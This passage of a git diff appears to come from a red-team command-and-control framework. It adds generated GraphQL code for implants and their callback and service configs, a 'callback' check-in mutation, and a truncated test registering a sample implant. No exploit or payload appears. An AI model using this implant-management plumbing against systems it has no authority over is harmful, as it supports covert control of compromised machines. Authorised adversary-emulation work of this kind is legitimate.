*introspection.Type) (ret graphql.Marshaler) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = graphql.Null + } + }() + fc := &graphql.FieldContext{ + Object: "__Type", + Field: field, + Args: nil, + IsMethod: true, + IsResolver: false, + } + + ctx = graphql.WithFieldContext(ctx, fc) + resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { + ctx = rctx // use context from middleware stack in children + return obj.InputFields(), nil + }) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + if resTmp == nil { + return graphql.Null + } + res := resTmp.([]introspection.InputValue) + fc.Result = res + return ec.marshalO__InputValue2ᚕgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐInputValueᚄ(ctx, field.Selections, res) +} + +func (ec *executionContext) ___Type_ofType(ctx context.Context, field graphql.CollectedField, obj *introspection.Type) (ret graphql.Marshaler) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = graphql.Null + } + }() + fc := &graphql.FieldContext{ + Object: "__Type", + Field: field, + Args: nil, + IsMethod: true, + IsResolver: false, + } + + ctx = graphql.WithFieldContext(ctx, fc) + resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { + ctx = rctx // use context from middleware stack in children + return obj.OfType(), nil + }) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + if resTmp == nil { + return graphql.Null + } + res := resTmp.(*introspection.Type) + fc.Result = res + return ec.marshalO__Type2ᚖgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐType(ctx, field.Selections, res) +} + +// endregion **************************** field.gotpl ***************************** + +// region **************************** input.gotpl ***************************** + +func (ec *executionContext) unmarshalInputCallbackInput(ctx context.Context, obj interface{}) (CallbackInput, error) { + var it CallbackInput + asMap := map[string]interface{}{} + for k, v := range obj.(map[string]interface{}) { + asMap[k] = v + } + + for k, v := range asMap { + switch k { + case "targetID": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("targetID")) + it.TargetID, err = ec.unmarshalNID2int(ctx, v) + if err != nil { + return it, err + } + case "sessionID": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("sessionID")) + it.SessionID, err = ec.unmarshalNString2string(ctx, v) + if err != nil { + return it, err + } + case "configName": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("configName")) + it.ConfigName, err = ec.unmarshalNString2string(ctx, v) + if err != nil { + return it, err + } + case "processName": + var err error + + ctx := graphql.WithPathContext(ctx, graphql.NewPathWithField("processName")) + it.ProcessName, err = ec.unmarshalNString2string(ctx, v) + if err != nil { + return it, err + } + } + } + + return it, nil +} + +func (ec *executionContext) unmarshalInputCreateCredentialInput(ctx context.Context, obj interface{}) (CreateCredentialInput, error) { + var it CreateCredentialInput + asMap := map[string]interface{}{} + for k, v := range obj.(map[string]interface{}) { + asMap[k] = v } for k, v := range asMap { @@ -7126,16 +8198,67 @@ func (ec *executionContext) _Node(ctx context.Context, sel ast.SelectionSet, obj if obj == nil { return graphql.Null } - return ec._Target(ctx, sel, obj) - default: - panic(fmt.Errorf("unexpected type %T", obj)) + return ec._Target(ctx, sel, obj) + case *ent.ImplantCallbackConfig: + if obj == nil { + return graphql.Null + } + return ec._ImplantCallbackConfig(ctx, sel, obj) + case *ent.ImplantServiceConfig: + if obj == nil { + return graphql.Null + } + return ec._ImplantServiceConfig(ctx, sel, obj) + case *ent.ImplantConfig: + if obj == nil { + return graphql.Null + } + return ec._ImplantConfig(ctx, sel, obj) + case *ent.Implant: + if obj == nil { + return graphql.Null + } + return ec._Implant(ctx, sel, obj) + default: + panic(fmt.Errorf("unexpected type %T", obj)) + } +} + +// endregion ************************** interface.gotpl *************************** + +// region **************************** object.gotpl **************************** + +var callbackResponseImplementors = []string{"CallbackResponse"} + +func (ec *executionContext) _CallbackResponse(ctx context.Context, sel ast.SelectionSet, obj *CallbackResponse) graphql.Marshaler { + fields := graphql.CollectFields(ec.OperationContext, sel, callbackResponseImplementors) + out := graphql.NewFieldSet(fields) + var invalids uint32 + for i, field := range fields { + switch field.Name { + case "__typename": + out.Values[i] = graphql.MarshalString("CallbackResponse") + case "implant": + innerFunc := func(ctx context.Context) (res graphql.Marshaler) { + return ec._CallbackResponse_implant(ctx, field, obj) + } + + out.Values[i] = innerFunc(ctx) + + if out.Values[i] == graphql.Null { + invalids++ + } + default: + panic("unknown field " + strconv.Quote(field.Name)) + } + } + out.Dispatch() + if invalids > 0 { + return graphql.Null } + return out } -// endregion ************************** interface.gotpl *************************** - -// region **************************** object.gotpl **************************** - var credentialImplementors = []string{"Credential", "Node"} func (ec *executionContext) _Credential(ctx context.Context, sel ast.SelectionSet, obj *ent.Credential) graphql.Marshaler { @@ -7287,11 +8410,266 @@ func (ec *executionContext) _CredentialEdge(ctx context.Context, sel ast.Selecti return ec._CredentialEdge_cursor(ctx, field, obj) } - out.Values[i] = innerFunc(ctx) + out.Values[i] = innerFunc(ctx) + + if out.Values[i] == graphql.Null { + invalids++ + } + default: + panic("unknown field " + strconv.Quote(field.Name)) + } + } + out.Dispatch() + if invalids > 0 { + return graphql.Null + } + return out +} + +var fileImplementors = []string{"File", "Node"} + +func (ec *executionContext) _File(ctx context.Context, sel ast.SelectionSet, obj *ent.File) graphql.Marshaler { + fields := graphql.CollectFields(ec.OperationContext, sel, fileImplementors) + out := graphql.NewFieldSet(fields) + var invalids uint32 + for i, field := range fields { + switch field.Name { + case "__typename": + out.Values[i] = graphql.MarshalString("File") + case "id": + innerFunc := func(ctx context.Context) (res graphql.Marshaler) { + return ec._File_id(ctx, field, obj) + } + + out.Values[i] = innerFunc(ctx) + + if out.Values[i] == graphql.Null { + invalids++ + } + case "name": + innerFunc := func(ctx context.Context) (res graphql.Marshaler) { + return ec._File_name(ctx, field, obj) + } + + out.Values[i] = innerFunc(ctx) + + if out.Values[i] == graphql.Null { + invalids++ + } + case "size": + innerFunc := func(ctx context.Context) (res graphql.Marshaler) { + return ec._File_size(ctx, field, obj) + } + + out.Values[i] = innerFunc(ctx) + + if out.Values[i] == graphql.Null { + invalids++ + } + case "hash": + innerFunc := func(ctx context.Context) (res graphql.Marshaler) { + return ec._File_hash(ctx, field, obj) + } + + out.Values[i] = innerFunc(ctx) + + if out.Values[i] == graphql.Null { + invalids++ + } + case "createdAt": + innerFunc := func(ctx context.Context) (res graphql.Marshaler) { + return ec._File_createdAt(ctx, field, obj) + } + + out.Values[i] = innerFunc(ctx) + + if out.Values[i] == graphql.Null { + invalids++ + } + case "lastModifiedAt": + innerFunc := func(ctx context.Context) (res graphql.Marshaler) { + return ec._File_lastModifiedAt(ctx, field, obj) + } + + out.Values[i] = innerFunc(ctx) + + if out.Values[i] == graphql.Null { + invalids++ + } + default: + panic("unknown field " + strconv.Quote(field.Name)) + } + } + out.Dispatch() + if invalids > 0 { + return graphql.Null + } + return out +} + +var fileConnectionImplementors = []string{"FileConnection"} + +func (ec *executionContext) _FileConnection(ctx context.Context, sel ast.SelectionSet, obj *ent.FileConnection) graphql.Marshaler { + fields := graphql.CollectFields(ec.OperationContext, sel, fileConnectionImplementors) + out := graphql.NewFieldSet(fields) + var invalids uint32 + for i, field := range fields { + switch field.Name { + case "__typename": + out.Values[i] = graphql.MarshalString("FileConnection") + case "totalCount": + innerFunc := func(ctx context.Context) (res graphql.Marshaler) { + return ec._FileConnection_totalCount(ctx, field, obj) + } + + out.Values[i] = innerFunc(ctx) + + if out.Values[i] == graphql.Null { + invalids++ + } + case "pageInfo": + innerFunc := func(ctx context.Context) (res graphql.Marshaler) { + return ec._FileConnection_pageInfo(ctx, field, obj) + } + + out.Values[i] = innerFunc(ctx) + + if out.Values[i] == graphql.Null { + invalids++ + } + case "edges": + innerFunc := func(ctx context.Context) (res graphql.Marshaler) { + return ec._FileConnection_edges(ctx, field, obj) + } + + out.Values[i] = innerFunc(ctx) + + default: + panic("unknown field " + strconv.Quote(field.Name)) + } + } + out.Dispatch() + if invalids > 0 { + return graphql.Null + } + return out +} + +var fileEdgeImplementors = []string{"FileEdge"} + +func (ec *executionContext) _FileEdge(ctx context.Context, sel ast.SelectionSet, obj *ent.FileEdge) graphql.Marshaler { + fields := graphql.CollectFields(ec.OperationContext, sel, fileEdgeImplementors) + out := graphql.NewFieldSet(fields) + var invalids uint32 + for i, field := range fields { + switch field.Name { + case "__typename": + out.Values[i] = graphql.MarshalString("FileEdge") + case "node": + innerFunc := func(ctx context.Context) (res graphql.Marshaler) { + return ec._FileEdge_node(ctx, field, obj) + } + + out.Values[i] = innerFunc(ctx) + + case "cursor": + innerFunc := func(ctx context.Context) (res graphql.Marshaler) { + return ec._FileEdge_cursor(ctx, field, obj) + } + + out.Values[i] = innerFunc(ctx) + + if out.Values[i] == graphql.Null { + invalids++ + } + default: + panic("unknown field " + strconv.Quote(field.Name)) + } + } + out.Dispatch() + if invalids > 0 { + return graphql.Null + } + return out +} + +var implantImplementors = []string{"Implant", "Node"} + +func (ec *executionContext) _Implant(ctx context.Context, sel ast.SelectionSet, obj *ent.Implant) graphql.Marshaler { + fields := graphql.CollectFields(ec.OperationContext, sel, implantImplementors) + out := graphql.NewFieldSet(fields) + var invalids uint32 + for i, field := range fields { + switch field.Name { + case "__typename": + out.Values[i] = graphql.MarshalString("Implant") + case "id": + innerFunc := func(ctx context.Context) (res graphql.Marshaler) { + return ec._Implant_id(ctx, field, obj) + } + + out.Values[i] = innerFunc(ctx) + + if out.Values[i] == graphql.Null { + atomic.AddUint32(&invalids, 1) + } + case "sessionID": + innerFunc := func(ctx context.Context) (res graphql.Marshaler) { + return ec._Implant_sessionID(ctx, field, obj) + } + + out.Values[i] = innerFunc(ctx) + + if out.Values[i] == graphql.Null { + atomic.AddUint32(&invalids, 1) + } + case "processName": + innerFunc := func(ctx context.Context) (res graphql.Marshaler) { + return ec._Implant_processName(ctx, field, obj) + } + + out.Values[i] = innerFunc(ctx) + + case "target": + field := field + + innerFunc := func(ctx context.Context) (res graphql.Marshaler) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + } + }() + res = ec._Implant_target(ctx, field, obj) + if res == graphql.Null { + atomic.AddUint32(&invalids, 1) + } + return res + } + + out.Concurrently(i, func() graphql.Marshaler { + return innerFunc(ctx) + + }) + case "config": + field := field + + innerFunc := func(ctx context.Context) (res graphql.Marshaler) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + } + }() + res = ec._Implant_config(ctx, field, obj) + if res == graphql.Null { + atomic.AddUint32(&invalids, 1) + } + return res + } + + out.Concurrently(i, func() graphql.Marshaler { + return innerFunc(ctx) - if out.Values[i] == graphql.Null { - invalids++ - } + }) default: panic("unknown field " + strconv.Quote(field.Name)) } @@ -7303,19 +8681,19 @@ func (ec *executionContext) _CredentialEdge(ctx context.Context, sel ast.Selecti return out } -var fileImplementors = []string{"File", "Node"} +var implantCallbackConfigImplementors = []string{"ImplantCallbackConfig", "Node"} -func (ec *executionContext) _File(ctx context.Context, sel ast.SelectionSet, obj *ent.File) graphql.Marshaler { - fields := graphql.CollectFields(ec.OperationContext, sel, fileImplementors) +func (ec *executionContext) _ImplantCallbackConfig(ctx context.Context, sel ast.SelectionSet, obj *ent.ImplantCallbackConfig) graphql.Marshaler { + fields := graphql.CollectFields(ec.OperationContext, sel, implantCallbackConfigImplementors) out := graphql.NewFieldSet(fields) var invalids uint32 for i, field := range fields { switch field.Name { case "__typename": - out.Values[i] = graphql.MarshalString("File") + out.Values[i] = graphql.MarshalString("ImplantCallbackConfig") case "id": innerFunc := func(ctx context.Context) (res graphql.Marshaler) { - return ec._File_id(ctx, field, obj) + return ec._ImplantCallbackConfig_id(ctx, field, obj) } out.Values[i] = innerFunc(ctx) @@ -7323,9 +8701,9 @@ func (ec *executionContext) _File(ctx context.Context, sel ast.SelectionSet, obj if out.Values[i] == graphql.Null { invalids++ } - case "name": + case "uri": innerFunc := func(ctx context.Context) (res graphql.Marshaler) { - return ec._File_name(ctx, field, obj) + return ec._ImplantCallbackConfig_uri(ctx, field, obj) } out.Values[i] = innerFunc(ctx) @@ -7333,9 +8711,9 @@ func (ec *executionContext) _File(ctx context.Context, sel ast.SelectionSet, obj if out.Values[i] == graphql.Null { invalids++ } - case "size": + case "priority": innerFunc := func(ctx context.Context) (res graphql.Marshaler) { - return ec._File_size(ctx, field, obj) + return ec._ImplantCallbackConfig_priority(ctx, field, obj) } out.Values[i] = innerFunc(ctx) @@ -7343,9 +8721,9 @@ func (ec *executionContext) _File(ctx context.Context, sel ast.SelectionSet, obj if out.Values[i] == graphql.Null { invalids++ } - case "hash": + case "timeout": innerFunc := func(ctx context.Context) (res graphql.Marshaler) { - return ec._File_hash(ctx, field, obj) + return ec._ImplantCallbackConfig_timeout(ctx, field, obj) } out.Values[i] = innerFunc(ctx) @@ -7353,9 +8731,9 @@ func (ec *executionContext) _File(ctx context.Context, sel ast.SelectionSet, obj if out.Values[i] == graphql.Null { invalids++ } - case "createdAt": + case "interval": innerFunc := func(ctx context.Context) (res graphql.Marshaler) { - return ec._File_createdAt(ctx, field, obj) + return ec._ImplantCallbackConfig_interval(ctx, field, obj) } out.Values[i] = innerFunc(ctx) @@ -7363,9 +8741,9 @@ func (ec *executionContext) _File(ctx context.Context, sel ast.SelectionSet, obj if out.Values[i] == graphql.Null { invalids++ } - case "lastModifiedAt": + case "jitter": innerFunc := func(ctx context.Context) (res graphql.Marshaler) { - return ec._File_lastModifiedAt(ctx, field, obj) + return ec._ImplantCallbackConfig_jitter(ctx, field, obj) } out.Values[i] = innerFunc(ctx) @@ -7384,43 +8762,80 @@ func (ec *executionContext) _File(ctx context.Context, sel ast.SelectionSet, obj return out } -var fileConnectionImplementors = []string{"FileConnection"} +var implantConfigImplementors = []string{"ImplantConfig", "Node"} -func (ec *executionContext) _FileConnection(ctx context.Context, sel ast.SelectionSet, obj *ent.FileConnection) graphql.Marshaler { - fields := graphql.CollectFields(ec.OperationContext, sel, fileConnectionImplementors) +func (ec *executionContext) _ImplantConfig(ctx context.Context, sel ast.SelectionSet, obj *ent.ImplantConfig) graphql.Marshaler { + fields := graphql.CollectFields(ec.OperationContext, sel, implantConfigImplementors) out := graphql.NewFieldSet(fields) var invalids uint32 for i, field := range fields { switch field.Name { case "__typename": - out.Values[i] = graphql.MarshalString("FileConnection") - case "totalCount": + out.Values[i] = graphql.MarshalString("ImplantConfig") + case "id": innerFunc := func(ctx context.Context) (res graphql.Marshaler) { - return ec._FileConnection_totalCount(ctx, field, obj) + return ec._ImplantConfig_id(ctx, field, obj) } out.Values[i] = innerFunc(ctx) if out.Values[i] == graphql.Null { - invalids++ + atomic.AddUint32(&invalids, 1) } - case "pageInfo": + case "name": innerFunc := func(ctx context.Context) (res graphql.Marshaler) { - return ec._FileConnection_pageInfo(ctx, field, obj) + return ec._ImplantConfig_name(ctx, field, obj) } out.Values[i] = innerFunc(ctx) if out.Values[i] == graphql.Null { - invalids++ + atomic.AddUint32(&invalids, 1) } - case "edges": + case "authToken": innerFunc := func(ctx context.Context) (res graphql.Marshaler) { - return ec._FileConnection_edges(ctx, field, obj) + return ec._ImplantConfig_authToken(ctx, field, obj) } out.Values[i] = innerFunc(ctx) + if out.Values[i] == graphql.Null { + atomic.AddUint32(&invalids, 1) + } + case "serviceConfigs": + field := field + + innerFunc := func(ctx context.Context) (res graphql.Marshaler) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + } + }() + res = ec._ImplantConfig_serviceConfigs(ctx, field, obj) + return res + } + + out.Concurrently(i, func() graphql.Marshaler { + return innerFunc(ctx) + + }) + case "callbackConfigs": + field := field + + innerFunc := func(ctx context.Context) (res graphql.Marshaler) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + } + }() + res = ec._ImplantConfig_callbackConfigs(ctx, field, obj) + return res + } + + out.Concurrently(i, func() graphql.Marshaler { + return innerFunc(ctx) + + }) default: panic("unknown field " + strconv.Quote(field.Name)) } @@ -7432,26 +8847,49 @@ func (ec *executionContext) _FileConnection(ctx context.Context, sel ast.Selecti return out } -var fileEdgeImplementors = []string{"FileEdge"} +var implantServiceConfigImplementors = []string{"ImplantServiceConfig", "Node"} -func (ec *executionContext) _FileEdge(ctx context.Context, sel ast.SelectionSet, obj *ent.FileEdge) graphql.Marshaler { - fields := graphql.CollectFields(ec.OperationContext, sel, fileEdgeImplementors) +func (ec *executionContext) _ImplantServiceConfig(ctx context.Context, sel ast.SelectionSet, obj *ent.ImplantServiceConfig) graphql.Marshaler { + fields := graphql.CollectFields(ec.OperationContext, sel, implantServiceConfigImplementors) out := graphql.NewFieldSet(fields) var invalids uint32 for i, field := range fields { switch field.Name { case "__typename": - out.Values[i] = graphql.MarshalString("FileEdge") - case "node": + out.Values[i] = graphql.MarshalString("ImplantServiceConfig") + case "id": innerFunc := func(ctx context.Context) (res graphql.Marshaler) { - return ec._FileEdge_node(ctx, field, obj) + return ec._ImplantServiceConfig_id(ctx, field, obj) } out.Values[i] = innerFunc(ctx) - case "cursor": + if out.Values[i] == graphql.Null { + invalids++ + } + case "name": innerFunc := func(ctx context.Context) (res graphql.Marshaler) { - return ec._FileEdge_cursor(ctx, field, obj) + return ec._ImplantServiceConfig_name(ctx, field, obj) + } + + out.Values[i] = innerFunc(ctx) + + if out.Values[i] == graphql.Null { + invalids++ + } + case "description": + innerFunc := func(ctx context.Context) (res graphql.Marshaler) { + return ec._ImplantServiceConfig_description(ctx, field, obj) + } + + out.Values[i] = innerFunc(ctx) + + if out.Values[i] == graphql.Null { + invalids++ + } + case "executablePath": + innerFunc := func(ctx context.Context) (res graphql.Marshaler) { + return ec._ImplantServiceConfig_executablePath(ctx, field, obj) } out.Values[i] = innerFunc(ctx) @@ -7489,6 +8927,16 @@ func (ec *executionContext) _Mutation(ctx context.Context, sel ast.SelectionSet) switch field.Name { case "__typename": out.Values[i] = graphql.MarshalString("Mutation") + case "callback": + innerFunc := func(ctx context.Context) (res graphql.Marshaler) { + return ec._Mutation_callback(ctx, field) + } + + out.Values[i] = ec.OperationContext.RootResolverMiddleware(innerCtx, innerFunc) + + if out.Values[i] == graphql.Null { + invalids++ + } case "createTarget": innerFunc := func(ctx context.Context) (res graphql.Marshaler) { return ec._Mutation_createTarget(ctx, field) @@ -8300,6 +9748,25 @@ func (ec *executionContext) marshalNBoolean2bool(ctx context.Context, sel ast.Se return res } +func (ec *executionContext) unmarshalNCallbackInput2githubᚗcomᚋkcarrettoᚋrealmᚋgraphqlᚐCallbackInput(ctx context.Context, v interface{}) (CallbackInput, error) { + res, err := ec.unmarshalInputCallbackInput(ctx, v) + return res, graphql.ErrorOnPath(ctx, err) +} + +func (ec *executionContext) marshalNCallbackResponse2githubᚗcomᚋkcarrettoᚋrealmᚋgraphqlᚐCallbackResponse(ctx context.Context, sel ast.SelectionSet, v CallbackResponse) graphql.Marshaler { + return ec._CallbackResponse(ctx, sel, &v) +} + +func (ec *executionContext) marshalNCallbackResponse2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋgraphqlᚐCallbackResponse(ctx context.Context, sel ast.SelectionSet, v *CallbackResponse) graphql.Marshaler { + if v == nil { + if !graphql.HasFieldError(ctx, graphql.GetFieldContext(ctx)) { + ec.Errorf(ctx, "must not be null") + } + return graphql.Null + } + return ec._CallbackResponse(ctx, sel, v) +} + func (ec *executionContext) unmarshalNCreateCredentialInput2githubᚗcomᚋkcarrettoᚋrealmᚋgraphqlᚐCreateCredentialInput(ctx context.Context, v interface{}) (CreateCredentialInput, error) { res, err := ec.unmarshalInputCreateCredentialInput(ctx, v) return res, graphql.ErrorOnPath(ctx, err) @@ -8401,16 +9868,56 @@ func (ec *executionContext) marshalNID2ᚕintᚄ(ctx context.Context, sel ast.Se return ret } +func (ec *executionContext) marshalNImplant2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplant(ctx context.Context, sel ast.SelectionSet, v *ent.Implant) graphql.Marshaler { + if v == nil { + if !graphql.HasFieldError(ctx, graphql.GetFieldContext(ctx)) { + ec.Errorf(ctx, "must not be null") + } + return graphql.Null + } + return ec._Implant(ctx, sel, v) +} + +func (ec *executionContext) marshalNImplantCallbackConfig2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantCallbackConfig(ctx context.Context, sel ast.SelectionSet, v *ent.ImplantCallbackConfig) graphql.Marshaler { + if v == nil { + if !graphql.HasFieldError(ctx, graphql.GetFieldContext(ctx)) { + ec.Errorf(ctx, "must not be null") + } + return graphql.Null + } + return ec._ImplantCallbackConfig(ctx, sel, v) +} + func (ec *executionContext) unmarshalNImplantCallbackConfigWhereInput2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantCallbackConfigWhereInput(ctx context.Context, v interface{}) (*ent.ImplantCallbackConfigWhereInput, error) { res, err := ec.unmarshalInputImplantCallbackConfigWhereInput(ctx, v) return &res, graphql.ErrorOnPath(ctx, err) } +func (ec *executionContext) marshalNImplantConfig2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantConfig(ctx context.Context, sel ast.SelectionSet, v *ent.ImplantConfig) graphql.Marshaler { + if v == nil { + if !graphql.HasFieldError(ctx, graphql.GetFieldContext(ctx)) { + ec.Errorf(ctx, "must not be null") + } + return graphql.Null + } + return ec._ImplantConfig(ctx, sel, v) +} + func (ec *executionContext) unmarshalNImplantConfigWhereInput2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantConfigWhereInput(ctx context.Context, v interface{}) (*ent.ImplantConfigWhereInput, error) { res, err := ec.unmarshalInputImplantConfigWhereInput(ctx, v) return &res, graphql.ErrorOnPath(ctx, err) } +func (ec *executionContext) marshalNImplantServiceConfig2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantServiceConfig(ctx context.Context, sel ast.SelectionSet, v *ent.ImplantServiceConfig) graphql.Marshaler { + if v == nil { + if !graphql.HasFieldError(ctx, graphql.GetFieldContext(ctx)) { + ec.Errorf(ctx, "must not be null") + } + return graphql.Null + } + return ec._ImplantServiceConfig(ctx, sel, v) +} + func (ec *executionContext) unmarshalNImplantServiceConfigWhereInput2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantServiceConfigWhereInput(ctx context.Context, v interface{}) (*ent.ImplantServiceConfigWhereInput, error) { res, err := ec.unmarshalInputImplantServiceConfigWhereInput(ctx, v) return &res, graphql.ErrorOnPath(ctx, err) @@ -9244,6 +10751,53 @@ func (ec *executionContext) marshalOID2ᚖint(ctx context.Context, sel ast.Selec return res } +func (ec *executionContext) marshalOImplantCallbackConfig2ᚕᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantCallbackConfigᚄ(ctx context.Context, sel ast.SelectionSet, v []*ent.ImplantCallbackConfig) graphql.Marshaler { + if v == nil { + return graphql.Null + } + ret := make(graphql.Array, len(v)) + var wg sync.WaitGroup + isLen1 := len(v) == 1 + if !isLen1 { + wg.Add(len(v)) + } + for i := range v { + i := i + fc := &graphql.FieldContext{ + Index: &i, + Result: &v[i], + } + ctx := graphql.WithFieldContext(ctx, fc) + f := func(i int) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = nil + } + }() + if !isLen1 { + defer wg.Done() + } + ret[i] = ec.marshalNImplantCallbackConfig2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantCallbackConfig(ctx, sel, v[i]) + } + if isLen1 { + f(i) + } else { + go f(i) + } + + } + wg.Wait() + + for _, e := range ret { + if e == graphql.Null { + return graphql.Null + } + } + + return ret +} + func (ec *executionContext) unmarshalOImplantCallbackConfigWhereInput2ᚕᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantCallbackConfigWhereInputᚄ(ctx context.Context, v interface{}) ([]*ent.ImplantCallbackConfigWhereInput, error) { if v == nil { return nil, nil @@ -9300,6 +10854,53 @@ func (ec *executionContext) unmarshalOImplantConfigWhereInput2ᚖgithubᚗcomᚋ return &res, graphql.ErrorOnPath(ctx, err) } +func (ec *executionContext) marshalOImplantServiceConfig2ᚕᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantServiceConfigᚄ(ctx context.Context, sel ast.SelectionSet, v []*ent.ImplantServiceConfig) graphql.Marshaler { + if v == nil { + return graphql.Null + } + ret := make(graphql.Array, len(v)) + var wg sync.WaitGroup + isLen1 := len(v) == 1 + if !isLen1 { + wg.Add(len(v)) + } + for i := range v { + i := i + fc := &graphql.FieldContext{ + Index: &i, + Result: &v[i], + } + ctx := graphql.WithFieldContext(ctx, fc) + f := func(i int) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = nil + } + }() + if !isLen1 { + defer wg.Done() + } + ret[i] = ec.marshalNImplantServiceConfig2ᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantServiceConfig(ctx, sel, v[i]) + } + if isLen1 { + f(i) + } else { + go f(i) + } + + } + wg.Wait() + + for _, e := range ret { + if e == graphql.Null { + return graphql.Null + } + } + + return ret +} + func (ec *executionContext) unmarshalOImplantServiceConfigWhereInput2ᚕᚖgithubᚗcomᚋkcarrettoᚋrealmᚋentᚐImplantServiceConfigWhereInputᚄ(ctx context.Context, v interface{}) ([]*ent.ImplantServiceConfigWhereInput, error) { if v == nil { return nil, nil diff --git a/graphql/gqlgen.yml b/graphql/gqlgen.yml index df2137c05..eec0ebad1 100644 --- a/graphql/gqlgen.yml +++ b/graphql/gqlgen.yml @@ -6,6 +6,7 @@ schema: - schema/credential.graphql # Credential GraphQL Schema. - schema/file.graphql # File GraphQL Schema. - schema/target.graphql # Target GraphQL Schema. + - schema/implant.graphql # Implant GraphQL Schemas. - schema/ent.graphql # The ent.graphql schema was generated by Ent. resolver: @@ -19,6 +20,10 @@ autobind: - github.com/kcarretto/realm/ent - github.com/kcarretto/realm/ent/credential - github.com/kcarretto/realm/ent/file + - github.com/kcarretto/realm/ent/implant + - github.com/kcarretto/realm/ent/implantcallbackconfig + - github.com/kcarretto/realm/ent/implantconfig + - github.com/kcarretto/realm/ent/implantserviceconfig - github.com/kcarretto/realm/ent/target struct_tag: json diff --git a/graphql/models_gen.go b/graphql/models_gen.go index ab3664cb7..dc630d822 100644 --- a/graphql/models_gen.go +++ b/graphql/models_gen.go @@ -3,9 +3,21 @@ package graphql import ( + "github.com/kcarretto/realm/ent" "github.com/kcarretto/realm/ent/credential" ) +type CallbackInput struct { + TargetID int `json:"targetID"` + SessionID string `json:"sessionID"` + ConfigName string `json:"configName"` + ProcessName string `json:"processName"` +} + +type CallbackResponse struct { + Implant *ent.Implant `json:"implant"` +} + type CreateCredentialInput struct { Principal string `json:"principal"` Secret string `json:"secret"` diff --git a/graphql/mutation.callback_test.go b/graphql/mutation.callback_test.go new file mode 100644 index 000000000..afa15fd0b --- /dev/null +++ b/graphql/mutation.callback_test.go @@ -0,0 +1,105 @@ +package graphql_test + +import ( + "context" + "net/http" + "testing" + + "github.com/kcarretto/realm/ent/enttest" + "github.com/kcarretto/realm/ent/viewer" + "github.com/kcarretto/realm/graphql" + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + + "github.com/99designs/gqlgen/client" + "github.com/99designs/gqlgen/graphql/handler" + _ "github.com/mattn/go-sqlite3" +) + +// TestCallback ensures the callback mutation exhibits expected behavior. +func TestCallback(t *testing.T) { + // Initialize Test Context + ctx := context.Background() + + // Initialize DB Backend + graph := enttest.Open(t, "sqlite3", "file:ent?mode=memory&cache=shared&_fk=1") + defer graph.Close() + + // Initialize sample data + target := graph.Target.Create(). + SetName("Target1"). + SetForwardConnectIP("10.0.0.1"). + SaveX(ctx) + impSvcConfig := graph.ImplantServiceConfig.Create(). + SetName("imix"). + SetDescription("a really cool implant!"). + SetExecutablePath("/bin/imix"). + SaveX(ctx) + impCbConfig := graph.ImplantCallbackConfig.Create(). + SetURI("http://127.0.0.1:80/graphql"). + SaveX(ctx) + impConfig := graph.ImplantConfig.Create(). + SetName("imix-rhel"). + SetAuthToken("supersecret!"). + AddServiceConfigs(impSvcConfig). + AddCallbackConfigs(impCbConfig). + SaveX(ctx) + existingImplant := graph.Implant.Create(). + SetSessionID("AAAA-BBBB-CCCC"). + SetProcessName("/bin/imix"). + SetConfig(impConfig). + SetTarget(target). + SaveX(ctx) + _ = existingImplant + + // Create a new GraphQL server (needed for auth middleware) + srv := handler.NewDefaultServer(graphql.NewSchema(graph)) + httpSrv := http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + // Include our implant viewer in the context based on the X-Auth Header + ctx := r.Context() + authToken := r.Header.Get("X-Auth") + if authToken != "" { + ctx = viewer.NewContext(ctx, viewer.Implant{AuthToken: authToken}) + r = r.WithContext(ctx) + } + srv.ServeHTTP(w, r) + }) + + // Create a new GraphQL client (connected to our http server) + gqlClient := client.New(httpSrv) + t.Run("New", newCallbackTest( + gqlClient, + "supersecret!", + graphql.CallbackInput{ + TargetID: target.ID, + SessionID: "NewSessionID!", + ConfigName: impConfig.Name, + ProcessName: "/lib/sodium", + }, + func(t *testing.T, implantID int, err error) { + require.NoError(t, err) + assert.NotEqual(t, existingImplant.ID, implantID) + }, + )) +} + +func newCallbackTest(gqlClient *client.Client, authToken string, input graphql.CallbackInput, checks ...func(t *testing.T, implantID int, err error)) func(t *testing.T) { + return func(t *testing.T) { + // Define the mutatation for testing, taking the input as a variable + mut := `mutation callback($input: CallbackInput!) { callback(info:$input) { implant { id } } }` + + // Make our request to the GraphQL API + var resp struct { + Callback struct{ 